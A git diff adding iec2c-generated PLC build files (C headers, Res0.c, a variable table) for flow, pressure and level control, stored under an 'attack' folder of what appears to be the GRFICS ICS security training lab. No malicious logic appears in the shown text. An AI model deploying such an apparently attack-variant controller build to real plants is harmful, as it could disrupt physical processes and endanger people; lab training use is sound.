__DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; 